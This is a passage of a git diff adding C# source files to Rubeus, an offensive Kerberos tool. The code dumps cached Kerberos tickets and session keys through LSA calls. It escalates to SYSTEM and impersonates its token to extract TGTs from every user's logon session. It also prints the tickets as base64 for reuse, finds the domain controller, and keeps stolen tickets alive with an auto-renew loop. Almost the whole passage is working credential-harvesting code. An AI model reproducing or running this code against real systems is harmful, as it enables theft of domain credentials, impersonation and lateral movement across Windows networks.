+ Marshal.FreeHGlobal(tQueryPtr);
+ }
+ }
+
+ // move the pointer forward
+ luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(Interop.LUID)));
+
+ // cleaup
+ Interop.LsaFreeReturnBuffer(sessionData);
+ }
+ Interop.LsaFreeReturnBuffer(luidPtr);
+
+ // disconnect from LSA
+ Interop.LsaDeregisterLogonProcess(lsaHandle);
+
+ if (!monitor)
+ {
+ Console.WriteLine("\r\n\r\n[*] Enumerated {0} total tickets", totalTicketCount);
+ }
+ Console.WriteLine("[*] Extracted {0} total tickets\r\n", extractedTicketCount);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("[X] Exception: {0}", ex);
+ }
+ }
+
+ public static void ListKerberosTicketDataCurrentUser(string targetService)
+ {
+ // extracts Kerberos ticket data for the current user
+
+ // first uses LsaConnectUntrusted to connect and LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type
+ // to enumerate all cached tickets, then uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
+ // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
+
+ // adapted partially from Vincent LE TOUX' work
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
+ // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
+ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
+
+ Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (Current User)\r\n");
+ if (!String.IsNullOrEmpty(targetService))
+ {
+ Console.WriteLine("\r\n[*] Target service : {0:x}\r\n\r\n", targetService);
+ }
+
+ int totalTicketCount = 0;
+ int extractedTicketCount = 0;
+ string name = "kerberos";
+ Interop.LSA_STRING_IN LSAString;
+ LSAString.Length = (ushort)name.Length;
+ LSAString.MaximumLength = (ushort)(name.Length + 1);
+ LSAString.Buffer = name;
+
+ IntPtr ticketsPointer = IntPtr.Zero;
+ int authPack;
+ int returnBufferLength = 0;
+ int protocalStatus = 0;
+ IntPtr lsaHandle;
+ int retCode;
+
+ // If we want to look at tickets from a session other than our own
+ // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
+ retCode = Interop.LsaConnectUntrusted(out lsaHandle);
+
+ // obtains the unique identifier for the kerberos authentication package.
+ retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
+
+ Interop.KERB_QUERY_TKT_CACHE_REQUEST cacheQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
+ Interop.KERB_QUERY_TKT_CACHE_RESPONSE cacheTickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
+ Interop.KERB_TICKET_CACHE_INFO ticket;
+
+ // input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)
+ cacheQuery.LogonId = new Interop.LUID();
+ cacheQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
+
+ // query LSA, specifying we want the ticket cache
+ IntPtr cacheQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(cacheQuery));
+ Marshal.StructureToPtr(cacheQuery, cacheQueryPtr, false);
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, cacheQueryPtr, Marshal.SizeOf(cacheQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
+
+ // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
+ cacheTickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
+ int count = cacheTickets.CountOfTickets;
+ Console.WriteLine("[*] Returned {0} tickets\r\n", count);
+ totalTicketCount += count;
+
+ // get the size of the structures we're iterating over
+ Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ for (int i = 0; i < count; i++)
+ {
+ // iterate through the result structures
+ IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + i * dataSize)));
+
+ // parse the new ptr to the appropriate structure
+ ticket = (Interop.KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ // extract the serverName and ticket flags
+ string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
+
+ if (String.IsNullOrEmpty(targetService) || (Regex.IsMatch(serverName, String.Format(@"^{0}/.*", targetService), RegexOptions.IgnoreCase)))
+ {
+ extractedTicketCount++;
+
+ // now we have to call LsaCallAuthenticationPackage() again with the specific server target
+ IntPtr responsePointer = IntPtr.Zero;
+ Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
+ Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
+
+ // signal that we want encoded .kirbi's returned
+ request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
+ request.LogonId = new Interop.LUID();
+ request.TicketFlags = ticket.TicketFlags;
+ request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED
+ request.EncryptionType = 0x0;
+ // the target ticket name we want the ticket for
+ Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(serverName);
+ request.TargetName = tName;
+
+ // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
+ // for KerbRetrieveEncodedTicketMessages
+
+ // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
+ int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
+ int newStructSize = structSize + tName.MaximumLength;
+ IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
+
+ // marshal the struct from a managed object to an unmanaged block of memory.
+ Marshal.StructureToPtr(request, unmanagedAddr, false);
+
+ // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
+ IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
+
+ // copy unicode chars to the new location
+ Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
+
+ // update the target name buffer ptr
+ Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
+
+ // actually get the data
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
+
+ // translate the LSA error (if any) to a Windows error
+ uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
+
+ if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
+ {
+ // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
+ response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
+
+ Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
+ string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();
+
+ string targetName = "";
+ if (response.Ticket.TargetName != IntPtr.Zero)
+ {
+ Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
+ targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();
+ }
+
+ Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
+ string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
+
+ string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
+ string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
+ string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();
+
+ // extract the session key
+ Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType;
+ Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
+ byte[] sessionKey = new byte[sessionKeyLength];
+ Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
+ string base64SessionKey = Convert.ToBase64String(sessionKey);
+
+ DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);
+ DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime);
+ DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime);
+ DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);
+ Int64 timeSkew = response.Ticket.TimeSkew;
+ Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;
+
+ string ticketFlags = ((Interop.TicketFlags)ticket.TicketFlags).ToString();
+
+ // extract the ticket and base64 encode it
+ byte[] encodedTicket = new byte[encodedTicketSize];
+ Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
+ string base64TGT = Convert.ToBase64String(encodedTicket);
+
+ Console.WriteLine(" ServiceName : {0}", serviceName);
+ Console.WriteLine(" TargetName : {0}", targetName);
+ Console.WriteLine(" ClientName : {0}", clientName);
+ Console.WriteLine(" DomainName : {0}", domainName);
+ Console.WriteLine(" TargetDomainName : {0}", targetDomainName);
+ Console.WriteLine(" AltTargetDomainName : {0}", altTargetDomainName);
+ Console.WriteLine(" SessionKeyType : {0}", sessionKeyType);
+ Console.WriteLine(" Base64SessionKey : {0}", base64SessionKey);
+ Console.WriteLine(" KeyExpirationTime : {0}", keyExpirationTime);
+ Console.WriteLine(" TicketFlags : {0}", ticketFlags);
+ Console.WriteLine(" StartTime : {0}", startTime);
+ Console.WriteLine(" EndTime : {0}", endTime);
+ Console.WriteLine(" RenewUntil : {0}", renewUntil);
+ Console.WriteLine(" TimeSkew : {0}", timeSkew);
+ Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
+ Console.WriteLine(" Base64EncodedTicket :\r\n");
+ // display the TGT, columns of 100 chararacters
+ foreach (string line in Helpers.Split(base64TGT, 100))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ Console.WriteLine("\r\n");
+ }
+ else
+ {
+ string errorMessage = new Win32Exception((int)winError).Message;
+ Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, serverName, errorMessage);
+ }
+
+ // clean up
+ Interop.LsaFreeReturnBuffer(responsePointer);
+ Marshal.FreeHGlobal(unmanagedAddr);
+ }
+ }
+
+ // clean up
+ Interop.LsaFreeReturnBuffer(ticketsPointer);
+ Marshal.FreeHGlobal(cacheQueryPtr);
+
+ // disconnect from LSA
+ Interop.LsaDeregisterLogonProcess(lsaHandle);
+
+ Console.WriteLine("\r\n\r\n[*] Enumerated {0} total tickets", totalTicketCount);
+ Console.WriteLine("[*] Extracted {0} total tickets\r\n", extractedTicketCount);
+ }
+
+ public static List ExtractTGTs(uint targetLuid = 0, bool includeComputerAccounts = false)
+ {
+ // extracts Kerberos TGTs for all users on the system (assuming elevation) or for a specific logon ID (luid)
+
+ // first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
+ // then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
+ // and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
+ // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
+
+ // adapted partially from Vincent LE TOUX' work
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
+ // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
+ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
+
+ int retCode;
+ int authPack;
+ string name = "kerberos";
+ string targetService = "krbtgt";
+ List creds = new List();
+ Interop.LSA_STRING_IN LSAString;
+ LSAString.Length = (ushort)name.Length;
+ LSAString.MaximumLength = (ushort)(name.Length + 1);
+ LSAString.Buffer = name;
+
+ IntPtr lsaHandle = LsaRegisterLogonProcessHelper();
+
+ // if the original call fails then it is likely we don't have SeTcbPrivilege
+ // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
+ if (lsaHandle == IntPtr.Zero)
+ {
+ string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ if (currentName == "NT AUTHORITY\\SYSTEM")
+ {
+ // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
+ lsaHandle = LsaRegisterLogonProcessHelper();
+ }
+ else
+ {
+ // elevated but not system, so gotta GetSystem() first
+ Helpers.GetSystem();
+ // should now have the proper privileges to get a Handle to LSA
+ lsaHandle = LsaRegisterLogonProcessHelper();
+ // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
+ Interop.RevertToSelf();
+ }
+ }
+
+ try
+ {
+ // obtains the unique identifier for the kerberos authentication package.
+ retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
+
+ // first return all the logon sessions
+ DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
+ UInt64 count;
+ IntPtr luidPtr = IntPtr.Zero;
+ IntPtr iter = luidPtr;
+
+ uint ret = Interop.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
+
+ for (ulong i = 0; i < count; i++)
+ {
+ IntPtr sessionData;
+ ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionData);
+ Interop.SECURITY_LOGON_SESSION_DATA data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
+
+ // if we have a valid logon
+ if (data.PSiD != IntPtr.Zero)
+ {
+ // user session data
+ string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
+
+ // exclude computer accounts unless instructed otherwise
+ if (includeComputerAccounts || !Regex.IsMatch(username, ".*\\$$"))
+ {
+
+ System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
+ string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
+ string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
+ Interop.SECURITY_LOGON_TYPE logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
+ DateTime logonTime = systime.AddTicks((long)data.LoginTime);
+ string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
+ string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
+ string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
+
+ IntPtr ticketsPointer = IntPtr.Zero;
+ DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);
+
+ int returnBufferLength = 0;
+ int protocalStatus = 0;
+
+ Interop.KERB_QUERY_TKT_CACHE_REQUEST tQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
+ Interop.KERB_QUERY_TKT_CACHE_RESPONSE tickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
+ Interop.KERB_TICKET_CACHE_INFO ticket;
+
+ // input object for querying the ticket cache for a specific logon ID
+ Interop.LUID userLogonID = new Interop.LUID();
+ userLogonID.LowPart = data.LoginID.LowPart;
+ userLogonID.HighPart = 0;
+ tQuery.LogonId = userLogonID;
+
+ if ((targetLuid == 0) || (data.LoginID.LowPart == targetLuid))
+ {
+ tQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
+
+ // query LSA, specifying we want the ticket cache
+ IntPtr tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(tQuery));
+ Marshal.StructureToPtr(tQuery, tQueryPtr, false);
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, Marshal.SizeOf(tQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
+
+ if (ticketsPointer != IntPtr.Zero)
+ {
+ // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
+ tickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
+ int count2 = tickets.CountOfTickets;
+
+ if (count2 != 0)
+ {
+ // get the size of the structures we're iterating over
+ Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ for (int j = 0; j < count2; j++)
+ {
+ // iterate through the result structures
+ IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize)));
+
+ // parse the new ptr to the appropriate structure
+ ticket = (Interop.KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO));
+
+ // extract the serverName and ticket flags
+ string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
+
+ if (String.IsNullOrEmpty(targetService) || (Regex.IsMatch(serverName, String.Format(@"^{0}/.*", targetService), RegexOptions.IgnoreCase)))
+ {
+ // now we have to call LsaCallAuthenticationPackage() again with the specific server target
+ IntPtr responsePointer = IntPtr.Zero;
+ Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
+ Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
+
+ // signal that we want encoded .kirbi's returned
+ request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
+
+ // the specific logon session ID
+ request.LogonId = userLogonID;
+
+ request.TicketFlags = ticket.TicketFlags;
+ request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED
+ request.EncryptionType = 0x0;
+ // the target ticket name we want the ticket for
+ Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(serverName);
+ request.TargetName = tName;
+
+ // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
+ // for KerbRetrieveEncodedTicketMessages
+
+ // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
+ int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
+ int newStructSize = structSize + tName.MaximumLength;
+ IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
+
+ // marshal the struct from a managed object to an unmanaged block of memory.
+ Marshal.StructureToPtr(request, unmanagedAddr, false);
+
+ // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
+ IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
+
+ // copy unicode chars to the new location
+ Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
+
+ // update the target name buffer ptr
+ Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
+
+ // actually get the data
+ retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
+
+ // translate the LSA error (if any) to a Windows error
+ uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
+
+ if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
+ {
+ // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
+ response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
+
+ Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;
+
+ // extract the ticket, build a KRB_CRED object, and add to the cache
+ byte[] encodedTicket = new byte[encodedTicketSize];
+ Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
+
+ creds.Add(new KRB_CRED(encodedTicket));
+ }
+ else
+ {
+ string errorMessage = new Win32Exception((int)winError).Message;
+ Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, serverName, errorMessage);
+ }
+
+ // clean up
+ Interop.LsaFreeReturnBuffer(responsePointer);
+ Marshal.FreeHGlobal(unmanagedAddr);
+ }
+ }
+ }
+ }
+
+ // cleanup
+ Interop.LsaFreeReturnBuffer(ticketsPointer);
+ Marshal.FreeHGlobal(tQueryPtr);
+ }
+ }
+ }
+
+ // move the pointer forward
+ luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(Interop.LUID)));
+
+ // cleaup
+ Interop.LsaFreeReturnBuffer(sessionData);
+ }
+ Interop.LsaFreeReturnBuffer(luidPtr);
+
+ // disconnect from LSA
+ Interop.LsaDeregisterLogonProcess(lsaHandle);
+
+ return creds;
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("[X] Exception: {0}", ex);
+ return null;
+ }
+ }
+
+ public static void DisplayTGTs(List creds)
+ {
+ foreach(KRB_CRED cred in creds)
+ {
+ string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
+ string domainName = cred.enc_part.ticket_info[0].prealm;
+ DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime);
+ DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime);
+ DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till);
+ Interop.TicketFlags flags = cred.enc_part.ticket_info[0].flags;
+ string base64TGT = Convert.ToBase64String(cred.Encode().Encode());
+
+ Console.WriteLine("User : {0}@{1}", userName, domainName);
+ Console.WriteLine("StartTime : {0}", startTime);
+ Console.WriteLine("EndTime : {0}", endTime);
+ Console.WriteLine("RenewTill : {0}", renewTill);
+ Console.WriteLine("Flags : {0}", flags);
+ Console.WriteLine("Base64EncodedTicket :\r\n");
+ foreach (string line in Helpers.Split(base64TGT, 100))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ Console.WriteLine("\r\n");
+ }
+ }
+
+ public static void DisplayTicket(KRB_CRED cred)
+ {
+ Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
+
+ string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
+ string domainName = cred.enc_part.ticket_info[0].prealm;
+ string sname = cred.enc_part.ticket_info[0].sname.name_string[0];
+ string srealm = cred.enc_part.ticket_info[0].srealm;
+ string keyType = String.Format("{0}", (Interop.KERB_ETYPE)cred.enc_part.ticket_info[0].key.keytype);
+ string b64Key = Convert.ToBase64String(cred.enc_part.ticket_info[0].key.keyvalue);
+ DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime);
+ DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime);
+ DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till);
+ Interop.TicketFlags flags = cred.enc_part.ticket_info[0].flags;
+
+ Console.WriteLine(" UserName : {0}", userName);
+ Console.WriteLine(" UserRealm : {0}", domainName);
+ Console.WriteLine(" ServiceName : {0}", sname);
+ Console.WriteLine(" ServiceRealm : {0}", srealm);
+ Console.WriteLine(" StartTime : {0}", startTime);
+ Console.WriteLine(" EndTime : {0}", endTime);
+ Console.WriteLine(" RenewTill : {0}", renewTill);
+ Console.WriteLine(" Flags : {0}", flags);
+ Console.WriteLine(" KeyType : {0}", keyType);
+ Console.WriteLine(" Base64(key) : {0}\r\n", b64Key);
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Networking.cs b/Rubeus/lib/Networking.cs
new file mode 100755
index 00000000..80f2054c
--- /dev/null
+++ b/Rubeus/lib/Networking.cs
@@ -0,0 +1,87 @@
+using System;
+using System.ComponentModel;
+using System.Linq;
+using System.Runtime.InteropServices;
+
+namespace Rubeus
+{
+ public class Networking
+ {
+ public static string GetDCName()
+ {
+ // retrieves the current domain controller name
+
+ // adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname
+ Interop.DOMAIN_CONTROLLER_INFO domainInfo;
+ const int ERROR_SUCCESS = 0;
+ IntPtr pDCI = IntPtr.Zero;
+
+ int val = Interop.DsGetDcName("", "", 0, "",
+ Interop.DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED |
+ Interop.DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME |
+ Interop.DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI);
+
+ if (ERROR_SUCCESS == val)
+ {
+ domainInfo = (Interop.DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(Interop.DOMAIN_CONTROLLER_INFO));
+ string dcName = domainInfo.DomainControllerName;
+ Interop.NetApiBufferFree(pDCI);
+ return dcName.Trim('\\');
+ }
+ else
+ {
+ string errorMessage = new Win32Exception((int)val).Message;
+ Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage);
+ Interop.NetApiBufferFree(pDCI);
+ return "";
+ }
+ }
+
+ public static byte[] SendBytes(string server, int port, byte[] data)
+ {
+ // send the byte array to the specified server/port
+
+ // TODO: try/catch for IPAddress parse
+
+ Console.WriteLine("[*] Connecting to {0}:{1}", server, port);
+ System.Net.IPEndPoint endPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port);
+
+ System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
+ socket.Ttl = 128;
+
+ byte[] lenBytes = BitConverter.GetBytes(data.Length);
+ Array.Reverse(lenBytes);
+
+ // build byte[req len + req bytes]
+ byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length];
+ Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
+ Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
+
+ try
+ {
+ // connect to the srever over The specified port
+ socket.Connect(endPoint);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[X] Error connecing to {0}:{1} : {2}", server, port, e.Message);
+ return null;
+ }
+
+ // actually send the bytes
+ int bytesSent = socket.Send(totalRequestBytes);
+ Console.WriteLine("[*] Sent {0} bytes", bytesSent);
+
+ byte[] responseBuffer = new byte[2500];
+ int bytesReceived = socket.Receive(responseBuffer);
+ Console.WriteLine("[*] Received {0} bytes", bytesReceived);
+
+ byte[] response = new byte[bytesReceived - 4];
+ Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
+
+ socket.Close();
+
+ return response;
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Renew.cs b/Rubeus/lib/Renew.cs
new file mode 100755
index 00000000..9572ad07
--- /dev/null
+++ b/Rubeus/lib/Renew.cs
@@ -0,0 +1,211 @@
+using System;
+using System.IO;
+using System.Linq;
+using Asn1;
+
+namespace Rubeus
+{
+ public class Renew
+ {
+ public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true)
+ {
+ Console.WriteLine("[*] Action: Auto-Renew TGT");
+
+ KRB_CRED currentKirbi = kirbi;
+
+ while (true)
+ {
+ // extract out the info needed for the TGS-REQ/AP-REQ renewal
+ string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0];
+ string domain = currentKirbi.enc_part.ticket_info[0].prealm;
+ Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain);
+
+ DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime);
+ DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till);
+ Console.WriteLine("[*] endtime : {0}", endTime);
+ Console.WriteLine("[*] renew-till : {0}", renewTill);
+
+ if (endTime > renewTill)
+ {
+ Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill);
+ return;
+ }
+ else
+ {
+ double ticks = (endTime - DateTime.Now).Ticks;
+ if (ticks < 0)
+ {
+ Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime);
+ return;
+ }
+
+ // get the window to sleep until the next endtime for the ticket, -30 minutes for a window
+ double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30;
+
+ Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes);
+ System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000);
